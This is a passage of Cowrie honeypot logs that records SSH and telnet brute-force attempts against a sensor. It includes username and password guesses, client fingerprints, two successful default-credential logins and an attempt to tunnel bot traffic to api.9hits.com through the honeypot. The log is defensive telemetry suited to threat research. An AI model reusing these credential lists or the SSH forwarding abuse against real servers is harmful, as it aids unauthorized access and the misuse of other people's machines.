a2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:28.419014Z","src_ip":"91.92.40.36","session":"a2809ae1963f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123ewqasdcxz","message":"login attempt [ubuntu/123ewqasdcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:29.883496Z","src_ip":"91.92.40.36","session":"881d588b22dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456!@#","message":"login attempt [root/admin123456!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:31.433815Z","src_ip":"27.71.230.31","session":"0f6d48eeb70a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:33.346658Z","src_ip":"91.92.40.36","session":"881d588b22dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:33.509255Z","src_ip":"27.71.230.31","session":"0f6d48eeb70a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60436,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6913af46911","protocol":"ssh","message":"New connection: 91.92.40.36:60436 (159.203.135.109:22) [session: e6913af46911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:34.771066Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test123456","message":"login attempt [ubuntu/test123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:35.997454Z","src_ip":"91.92.40.36","session":"a2809ae1963f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:36.187274Z","src_ip":"91.92.40.36","session":"e6913af46911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:36.191021Z","src_ip":"91.92.40.36","session":"e6913af46911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:38.837432Z","src_ip":"91.92.40.36","session":"a2809ae1963f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"p@$word","message":"login attempt [debian/p@$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:41.928000Z","src_ip":"91.92.40.36","session":"e6913af46911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37276,"dst_ip":"159.203.135.109","dst_port":22,"session":"36aa0d3ac8ee","protocol":"ssh","message":"New connection: 91.92.40.36:37276 (159.203.135.109:22) [session: 36aa0d3ac8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:42.545387Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":59796,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee98febfbb24","protocol":"ssh","message":"New connection: 23.175.50.51:59796 (10.17.0.5:22) [session: ee98febfbb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:43.778090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:43.807393Z","src_ip":"23.175.50.51","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:44.158482Z","src_ip":"91.92.40.36","session":"36aa0d3ac8ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:44.162335Z","src_ip":"91.92.40.36","session":"36aa0d3ac8ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:44.177455Z","src_ip":"23.175.50.51","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:44.529845Z","src_ip":"91.92.40.36","session":"e6913af46911","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:45.386957Z","src_ip":"23.175.50.51","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36552,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eb88419ac7a","protocol":"telnet","message":"New connection: 128.199.8.54:36552 (159.203.135.109:23) [session: 2eb88419ac7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:45.504636Z"}
{"eventid":"cowrie.session.closed","duration":0.004323244094848633,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:45.508870Z","src_ip":"128.199.8.54","session":"2eb88419ac7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":50712,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2fb4856fcad","protocol":"ssh","message":"New connection: 38.46.222.137:50712 (10.17.0.5:22) [session: c2fb4856fcad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:47.752312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:47.756692Z","src_ip":"38.46.222.137","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:47.934446Z","src_ip":"38.46.222.137","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:48.774982Z","src_ip":"38.46.222.137","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password","message":"login attempt [ubuntu/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:49.616088Z","src_ip":"91.92.40.36","session":"36aa0d3ac8ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:51.450932Z","src_ip":"91.92.40.36","session":"36aa0d3ac8ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42142,"dst_ip":"159.203.135.109","dst_port":22,"session":"b62270c237db","protocol":"ssh","message":"New connection: 91.92.40.36:42142 (159.203.135.109:22) [session: b62270c237db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:52.821849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:53.165171Z","src_ip":"91.92.40.36","session":"b62270c237db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:53.168443Z","src_ip":"91.92.40.36","session":"b62270c237db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":62185,"dst_ip":"10.17.0.5","dst_port":22,"session":"13508dada589","protocol":"ssh","message":"New connection: 63.141.242.2:62185 (10.17.0.5:22) [session: 13508dada589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:54.733818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:54.737740Z","src_ip":"63.141.242.2","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:54.802563Z","src_ip":"63.141.242.2","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"4321","message":"login attempt [ftpuser/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:55.271551Z","src_ip":"91.92.40.36","session":"b62270c237db","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:55.977577Z","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:56.036473Z","src_ip":"23.175.50.51","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KDl4Rz54MW1iaUszPjZHSg%3D%3Dtmfjkv4IK%2F%2FwMy3NbwssLWcdA2Ro1aHl6oiuvhzRqgnk%2FntwIIrU5uxiJ5Uam7Xlixco%2F%2BD26mhtImJmlMgBTYF%2BTK5XQOwPcsY36hk56aqBwQzFvd%2BBwHhKylymYVABjIMd5f5mb2TP3uoUA6bLISgYfUhfe0lG8ZeTFqT0hHslvfGLjVJNtPKiQPS8U6FziCSVTHpy9N%2BMds499MwDu9CKFl3f2VMmbVout3Ja6CftXUdf4qwn0RQPNmKJo3qv3UfeOae4vE64US7i%2FLVmjiFqXcZWOAj6tuAZvucvbbAeAI17yQjRoCbZFxLuZ%2FVpV%2FBp%2B3z9e9EeBJaDx2KX7lCNqPyGHUSXomfs45pk3EOWI8ZniYKcXn0ie1kHjI5Amsc4%2BBJ3V6JjDxne1Bww2zPLTMe15d5%2FCJc58R0YuiEXPiqfvf12Su5RXv2CV9r2J00u4mu7Q1VUMG3M09xjXejdj%2B%2FG%2BdGxAN7Eu4dvp5O%2FPfldue%2BTNMnsELDdjU54U%2BX%2BuHU%2F07hb1SMG1iamnYIu3Xt9b%2FOlu0Hew4X6hSYgJREnBMt%2FjbMe7X07BNIf8U5L%2FfobuUdWb2KhBXkfMO2F1vMyNn6vuJmg5KlgstqlFbEDEodcLe7AIxP9nfvP6HyaF68T%2FpV24hWd31VRcgQlz30N0n81AfCsbXCYACsNswBnWj0Csdhblo3%2B03sn5iUx6eu6rHl8PEkPVxa2mx9%2B1ogxSacKUwIttNEfQbH%2BA7xxkeHzzXrrjrcYJj%2BhAz5jVDB%2F73WXgwlHd5Vuk%2F74hZ6XQ5XjRZngiyShzu8Z1D2QRqpPkVQbREFEDyaPcrvv99PdJLQc4D8XWQeGH0A1Em3xgKb4rja%2F55CqCMoN2CfOGQRgp7C0q%2F6eR9LSVYBq15P0F8sIX1b%2BCN70NcY5dgCPboQva7AdgX0ye4oKmCKttjsea3ar%2BMx2I3b4BJ%2BRGR9Yim2FWl2isaprEGsbJvnHZUgOtumPNUz5oudnoWzrc7i2H02qyl%2BHzuGyhZ6MMTl4UaB2UpnfUSVmD44cXE55zeeQd5L0H1jnXL%2FfLmtFqn71TFQXaEkSxZ3n'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KDl4Rz54MW1iaUszPjZHSg%3D%3Dtmfjkv4IK%2F%2FwMy3NbwssLWcdA2Ro1aHl6oiuvhzRqgnk%2FntwIIrU5uxiJ5Uam7Xlixco%2F%2BD26mhtImJmlMgBTYF%2BTK5XQOwPcsY36hk56aqBwQzFvd%2BBwHhKylymYVABjIMd5f5mb2TP3uoUA6bLISgYfUhfe0lG8ZeTFqT0hHslvfGLjVJNtPKiQPS8U6FziCSVTHpy9N%2BMds499MwDu9CKFl3f2VMmbVout3Ja6CftXUdf4qwn0RQPNmKJo3qv3UfeOae4vE64US7i%2FLVmjiFqXcZWOAj6tuAZvucvbbAeAI17yQjRoCbZFxLuZ%2FVpV%2FBp%2B3z9e9EeBJaDx2KX7lCNqPyGHUSXomfs45pk3EOWI8ZniYKcXn0ie1kHjI5Amsc4%2BBJ3V6JjDxne1Bww2zPLTMe15d5%2FCJc58R0YuiEXPiqfvf12Su5RXv2CV9r2J00u4mu7Q1VUMG3M09xjXejdj%2B%2FG%2BdGxAN7Eu4dvp5O%2FPfldue%2BTNMnsELDdjU54U%2BX%2BuHU%2F07hb1SMG1iamnYIu3Xt9b%2FOlu0Hew4X6hSYgJREnBMt%2FjbMe7X07BNIf8U5L%2FfobuUdWb2KhBXkfMO2F1vMyNn6vuJmg5KlgstqlFbEDEodcLe7AIxP9nfvP6HyaF68T%2FpV24hWd31VRcgQlz30N0n81AfCsbXCYACsNswBnWj0Csdhblo3%2B03sn5iUx6eu6rHl8PEkPVxa2mx9%2B1ogxSacKUwIttNEfQbH%2BA7xxkeHzzXrrjrcYJj%2BhAz5jVDB%2F73WXgwlHd5Vuk%2F74hZ6XQ5XjRZngiyShzu8Z1D2QRqpPkVQbREFEDyaPcrvv99PdJLQc4D8XWQeGH0A1Em3xgKb4rja%2F55CqCMoN2CfOGQRgp7C0q%2F6eR9LSVYBq15P0F8sIX1b%2BCN70NcY5dgCPboQva7AdgX0ye4oKmCKttjsea3ar%2BMx2I3b4BJ%2BRGR9Yim2FWl2isaprEGsbJvnHZUgOtumPNUz5oudnoWzrc7i2H02qyl%2BHzuGyhZ6MMTl4UaB2UpnfUSVm